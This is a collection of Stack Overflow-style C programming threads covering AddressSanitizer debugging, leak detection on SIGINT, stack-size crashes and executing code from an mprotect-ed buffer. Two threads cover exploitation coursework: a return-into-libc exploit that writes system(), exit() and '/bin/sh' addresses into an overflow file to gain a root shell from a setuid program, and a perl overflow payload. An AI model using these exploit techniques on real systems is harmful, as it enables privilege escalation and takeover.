I wrote a program to count lines of input given by stdin :
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define BUFF_SIZE 8192
#define RS '\n'
int
main(int argc, char **argv)
{
char buff[BUFF_SIZE];
ssize_t n;
char *r;
int c = 0;
readchunk:
n = read(0, buff, BUFF_SIZE);
if (n<=0) goto end; // EOF
r=buff;
searchrs:
r = memchr(r, RS, n);
if(r!=NULL) {
c++;
if((r-buff)<n) {
++r;
goto searchrs;
}
}
goto readchunk;
end:
printf("%d\n", ++c);
return 0;
}
I compiled it with gcc, with no options.
When run, it gives unstable result, not far from truth but false. Sometimes it segfaults. The bigger is the buffer size the more often it segfaults.
What am I doing wrong ?
Building your program with -fsanitize=address and feeding it sufficiently long input produces:
==119818==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffedbba1500 at pc 0x7fc4d56fd574 bp 0x7ffedbb9f4a0 sp 0x7ffedbb9ec50
READ of size 8192 at 0x7ffedbba1500 thread T0
#0 0x7fc4d56fd573 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x40573)
#1 0x563fdf5f4b90 in main /tmp/t.c:23
#2 0x7fc4d533e2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
#3 0x563fdf5f49c9 in _start (/tmp/a.out+0x9c9)
Address 0x7ffedbba1500 is located in stack of thread T0 at offset 8224 in frame
#0 0x563fdf5f4ab9 in main /tmp/t.c:11
This frame has 1 object(s):
[32, 8224) 'buff' <== Memory access at offset 8224 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x40573)
Line 23 is the call to memchr.
When you increment r, you should probably decrement n.
Related
When I compile this simple test program I get the obvious leak report from address sanitizer, but when I compile the same program but with a infinite loop, and break it emitting SIGINT I don't get any output.
Checking asm output, the malloc is not optimized away (if this is possible at all)
Is this the expected behavior of address sanitizer? I don't encounter this problem in other developments.
Working example:
#include <stdlib.h>
int main(void)
{
char *a = malloc(1024);
return 1;
}
Not working (kill with SIGINT):
#include <stdlib.h>
int main(void)
{
char *a = malloc(1024);
for(;;);
return 1;
}
compile: gcc test.c -o test -fsanitize=address
I encounter this problem in a full programm but I reduced it to this minimal example.
I tried many ways, with exit() and abort() calls, this works:
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <setjmp.h>
jmp_buf jmpbuf;
void handler (int signum) {
printf("handler %d \n", signum);
// we jump from here to main()
// and then call return
longjmp(jmpbuf, 1);
}
int main(int argc, char *argv[])
{
if (setjmp(jmpbuf)) {
// we are in signal context here
return 2;
}
signal(SIGINT, handler);
signal(SIGTERM, handler);
char *a = malloc(1024);
while (argc - 1);
return 1;
}
Results in:
> gcc file.c -fsanitize=address && timeout 1 ./a.out arg
handler 15
=================================================================
==12970==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1024 byte(s) in 1 object(s) allocated from:
#0 0x7f4798c9bd99 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cc:86
#1 0x5569e64e0acd in main (/tmp/a.out+0xacd)
#2 0x7f479881206a in __libc_start_main (/usr/lib/libc.so.6+0x2306a)
SUMMARY: AddressSanitizer: 1024 byte(s) leaked in 1 allocation(s).
I guess that the address sanitizer function are executed after main returns.
The code responsible for printing that error output is called as a destructor (fini) procedure. Since your program terminates without calling any of the process destructors (due to the SIGINT), you do not get any error printouts.
__lsan_do_leak_check() can help you avoid using longjmp in #KamilCuk's answer:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sanitizer/lsan_interface.h>
void handler (int signum) {
__lsan_do_leak_check();
}
int main(int argc, char *argv[])
{
signal(SIGINT, handler);
char *a = malloc(1024);
a=0;
printf("lost pointer\n");
for(;;);
return 1;
}
Demo:
clang test.c -fsanitize=address -fno-omit-frame-pointer -g -O0 -o test && ./test
lost pointer
C-c C-c
=================================================================
==29365==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1024 byte(s) in 1 object(s) allocated from:
#0 0x4c9ca3 in malloc (/home/bjacob/test+0x4c9ca3)
#1 0x4f9187 in main /home/bjacob/test.c:13:14
#2 0x7fbc9898409a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2409a)
SUMMARY: AddressSanitizer: 1024 byte(s) leaked in 1 allocation(s).
Note I added a=0 to create a leak.
I also added a printf. Without that printf, the leak error is not printed. I suspect the compiler optimized-out the use of the variable "a" despite my using the -O0 compiler option.
This is a two part question:
a)I am working with a Return-into-libc attack and not getting a root shell for some reason. I am supposed to take a vulnerable program: retlib.c.
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
I am using my exploit: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}
I found the addresses of system and exit using gdb:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb)
I found the /bin/sh address using the myshell.c program:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Than using the commands:
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ ./myshell
bffffe86
I feel like I have done everything right, but I keep getting a "Segmentation fault (core dumped)". I am using no -fstack-protector, chmod 4755 and ASLR turned off. Any thoughts on what is wrong?
b) I am also working with retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
This seems to me to be similar to part a, but "In this example, the vulnerable program retlib-env.c will reference MYSHELL environment." I don't know what I need to add to my exploit to make it work. Any hints or nudges in the right direction would be really helpful. I have MYSHELL, but i'm not really sure how I need to reference it to exploit the retlib-env.c. Shouldn't it be pretty similar to part a?
Probably the addresses of functions system(), exit() etc change at every program invocation. You cannot rely on loadng the pogram, degbugging for these addresses, closing the debug session and running the program again as the perogram may have been loaded at a completely different starting address the second time.
$gdb -q retlib
You need to find system and exit address of retlib not exploit. Exploit only prepare a exploit file. Retlib reads this file till buffer overflow. As far as I know the system address segment should start 12 after the buffer that means it will be buf[24].
The length of the program's name will influence the address of the environment variables in the stack. To get the correct address of string /bin/sh, you should keep the length of the program to search /bin/sh (i.e. myshell) equals the length of your final attack program (i.e. retlib).
Besides, you need to find out the return frame address which is supposed to be 4 plus the distance between ebp and &buffer in bof, which is supposed to be 20+4=24 rather than 16 in your code. You can verifiy it by gdb on the program compiled with flag -g.
I am trying to get a simple buffer overflow working on a 64bit Linux OS. The problem is, it seems that if the saved frame pointer is overwritten I get a bus error (SIGSEGV).
Here is the C code:
#include <string.h>
#include <stdio.h>
void func(char *buffer)
{
char string[24];
strcpy (string, buffer);
}
int main (int argc, char *argv[])
{
if (argc > 1)
func(argv[1]);
printf("asdf\n");
}
I'd love to post screenshots of the memory, but I'm new and I can't…it goes like this:
I overwrite the saved frame pointer with something like 0x4141414141414141 or 0xffffffffffffffff and ret with a valid address like 0x400595.
Then I get a SIGSEGV error...
Here is the input I give to the console:
./a.out $(perl -e 'printf "A" x 36 . "\x95\x05\x40";')
This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
Max Array Size in C
My question is: Does Code::blocks have a max number of iterations for a loop?
I am running a monte carlo and I would like to run a million particles through a for loop. But the max it seems to go without crashing is 110000.
Thanks!
Some more info:
I am using a random number generator seeded by time:
srand(time(NULL));
I then want to create a million particles (random)
for(k=0; k<M; k++){
R[k] = rand()*(1)/(double)RAND_MAX;
z[k] = -log(1 - R[k])/(1000*U);
where M = Num/10 (I want to #define N 1000000)
This is the only thing I can think of that is creating the problem?
Here is an example code that will not work.
#include <stdio.h>
#include <math.h>
#include <time.h>
#include <stdlib.h>
int main(){
srand(time(NULL));
int j=0;
int i;
double A[1000000];
for(i=0;i<1000000;i++){
A[i] = rand()*(1.0)/(double)RAND_MAX;
if (A[i] == 1.0){
printf("Wow!\n");
}
}
return 0;
}
Could this be due to my settings of Code::blocks by any chance?
There's no max number of iterations, but there is a limit on stack size.
When you declare a local variable, the memory is allocated from the stack. The size of A is too big to fit in the stack. (e.g. typical stack size on Windows is 1MB, 1000000 * sizeof(double) is far bigger.)
You can try changing A to a global variable or allocate it by malloc.
Edit: this is because the default maximum stack size is 1MB on Windows (but 8MB on Linux).
I don't have a final answer, but I do know:
a) It runs fine from a Linux command-line.
b) Valgrind gives tons of errors of this form:
==2465== Invalid write of size 8
==2465== at 0x804851D: main (test2.c:16)
==2465== Address 0xbe4480e4 is on thread 1's stack
==2465==
==2465== Invalid write of size 4
==2465== at 0x8048521: main (test2.c:16)
==2465== Address 0xbe4480e0 is on thread 1's stack
==2465==
==2465== Invalid read of size 4
==2465== at 0x4081D69: printf (printf.c:35)
==2465== by 0x8048528: main (test2.c:16)
==2465== Address 0xbe4480e0 is on thread 1's stack
==2465==
==2465== Invalid read of size 8
==2465== at 0x407AC05: vfprintf (vfprintf.c:1622)
==2465== by 0x4081D7F: printf (printf.c:35)
==2465== by 0x8048528: main (test2.c:16)
==2465== Address 0xbe4480e4 is on thread 1's stack
c) The errors are clearly related to reading and writing from the array. This simpler version of the program does not cause any Valgrind errors:
#include <stdio.h>
#include <math.h>
#include <time.h>
#include <stdlib.h>
int main(){
srand(time(NULL));
int i;
for(i=0;i<1000000;i++){
if (rand()*(1.0)/(double)RAND_MAX == 1.0){
printf("Wow!\n");
}
}
return 0;
}
I write a sample code on x86_64,try to execute dynamiclly malloc code.
there is a
Program received signal SIGSEGV, Segmentation fault.
0x0000000000601010 in ?? ()
0x0000000000601010 is the position of bin,someone can tell why? thanks!!
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <sys/mman.h>
volatile int sum(int a,int b)
{
return a+b;
}
int main(int argc, char **argv)
{
char* bin = NULL;
unsigned int len = 0;
int ret = 0;
/*code_str is the compiled code for function sum.*/
char code_str[] ={0x55,0x48,0x89,0xe5,0x89,0x7d,0xfc,0x89,
0x75,0xf8,0x8b,0x45,0xf8,0x03,0x45,0xfc,0xc9,0xc3};
len = sizeof(code_str)/sizeof(char);
bin = (char*)malloc(len);
memcpy(bin,code_str,len);
mprotect(bin,len , PROT_EXEC | PROT_READ | PROT_WRITE);
asm volatile ("mov $0x2,%%esi \n\t"
"mov $0x8,%%edi \n\t"
"mov %1,%%rbx \n\t"
"call *%%rbx "
:"=a"(ret)
:"g"(bin)
:"%rbx","%esi","%edi");
printf("sum:%d\n",ret);
return 0;
}
Never do such tricks without checking the return of system functions. My man page for mprotect says in particular:
POSIX says that the behavior of mprotect() is unspecified if it
is applied to a region of memory that was not obtained via mmap(2).
so don't do that with malloced buffers.
Also:
The buffer size is just sizeof(code_str), there is no reason to divide by sizeof(char) (which is guaranteed to be 1, but that doesn't make it correct).
There's no need to cast the return of malloc (nor mmap if you change it to that).
The correct type for code_str is unsigned char and not char.
the question is that bin address should align to multiple PAGESIZE,or mprotect will return -1,arguments invalid.
bin = (char *)(((int) bin + PAGESIZE-1) & ~(PAGESIZE-1));//added....
memcpy(bin,code_str,len);
if(mprotect(bin, len , PROT_EXEC |PROT_READ | PROT_WRITE) == -1)
{
printf("mprotect error:%d\n",errno);
return 0;
}